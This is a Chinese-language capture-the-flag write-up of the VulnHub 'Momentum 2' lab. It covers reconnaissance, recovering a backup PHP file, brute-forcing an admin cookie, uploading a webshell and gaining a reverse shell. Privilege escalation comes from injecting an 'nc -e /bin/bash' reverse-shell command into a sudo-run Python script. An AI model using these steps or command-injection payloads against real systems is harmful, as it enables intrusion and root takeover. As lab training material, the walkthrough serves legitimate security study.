一.环境搭建
1.靶场描述
- Difficulty : medium
- Keywords : curl, bash, code review
This works better with VirtualBox rather than VMware
2.靶场下载
https://download.vulnhub.com/momentum/Momentum2.ova

3.靶场启动

二.信息收集
1.寻找靶场真实的IP地址
nmap -sP 10.0.2.0/24

arp-scan -l

靶场真实IP地址为10.0.2.251
2.探测端口及服务
nmap -p- -sV http://10.0.2.251

开启了22端口和80端口
三.渗透测试
1.访问web服务

我们查看源代码,没有任何发现

2.扫描web服务
1)nikto扫描
nikto -h http://10.0.2.251
2)dirb扫描
dirb http://10.0.2.251

3)dirsearch扫描

我们可以看到disearch多扫描出了一个/dashboard.html目录
3.渗透测试
1)访问目录

我们可以看到什么也没有,当一个目录什么也没有的时候,我们可以看看它的备份文件


发现一个代码,总的来说就是一个结合
ajax.php
上传多个文件的js代码,这就说明有上传文件的页面,存在上传点,就有可能存在文件上传漏洞

可以看到apache的版本号
http://10.0.2.251/dashboard.html
我们可以看到是一个上传页面,我们就进行文件上传

2)文件上传

可以看到过滤了,我们进行抓包



我们可以发现当我们上传txt文件时,返回值是1,说明只能上传txt文件

我们在10.0.2.251/owls路径下看到我们上传的txt文件,所以目前我们没有办法进行文件上传
3)备份文件
我们想到前面的php目录什么也没有,我们试试看它的备份文件
curl http://10.0.2.251/ajax.php.bak

我们可以看到一串代码,我们进行分析
当
cookie
存在时,键名为admin
,值为&G6u@B6uDXMq&Ms
,再值的末尾还需要加一个大写字母。使用 post 方式提交一个参数
secure
,值为val1d
,就可以上传 pdf,php,txt 文件。
4)burp的使用
首先我们生成一个全是大写的字典

上传一句话木马文件。
使用 brupsuit 抓包,添加 cookie
值,添加 post
请求值。
Cookie: admin=&G6u@B6uDXMq&MsR
------WebKitFormBoundary1OlvLrs5qB8SHF7t
Content-Disposition: form-data; name="secure";
val1d

我们进行爆破

发送到 Intruder
模块对 cookie
值最后一位进行爆破。

我们可以看到爆破成功
发现长度是一样的,那就去挨个看回显,最终在R
上发现1
,说明已上传成功

同时得到admin
的cookie
为&G6u@B6uDXMq&MsR
5)蚁剑连接


我们进行连接


我们也可以使用nc进行反弹
nc -nvlp 6666
记得修改php-reverse-shell.php里面的ip和端口

我们可以看到反弹成功
5)ssh登录
我们在根目录下面看到了/home/,我们进行查看

我们看到有一个athena用户,里面有flag和密码,那么我们就进行ssh登录


密码后面有一个*

6)提权
我们看到需要python进行提权,我们查看脚本

这段代码使用了 Python 的 random、os 和 subprocess 模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:
import random:导入 random 模块,用于生成随机数。
import os:导入 os 模块,用于与操作系统进行交互,例如创建文件和执行命令。
import subprocess:导入 subprocess 模块,用于执行系统命令。
print('~ Random Cookie Generation ~'):打印提示信息,表示开始生成随机 Cookie。
print('[!] for security reasons we keep logs about cookie seeds.'):打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh':定义了一个包含特定字符的字符串,用于生成 Cookie。
seed = input("Enter the seed : "):提示用户输入种子(seed)。
random.seed = seed:设置随机数生成器的种子为用户输入的种子。
cookie = '':初始化一个空字符串,用于存储生成的 Cookie。
for c in range(20)::循环 20 次,生成 20 个字符的 Cookie。
cookie += random.choice(chars):在每次循环中,从 chars 字符串中随机选择一个字符,并将其添加到 cookie 字符串中。
print(cookie):打印生成的 Cookie。
cmd = "echo %s >> log.txt" % seed:构建一个命令字符串,将种子追加写入到 log.txt 日志文件中。
subprocess.Popen(cmd, shell=True):执行命令字符串,将种子追加写入到日志文件中。
代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用 subprocess 模块执行命令,将种子追加写入到名为 log.txt 的日志文件中。
sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py #执行python文件
nc -lvvp 6666 #本地监听
;nc -e /bin/bash 10.0.2.15 6666; #输入回弹命令
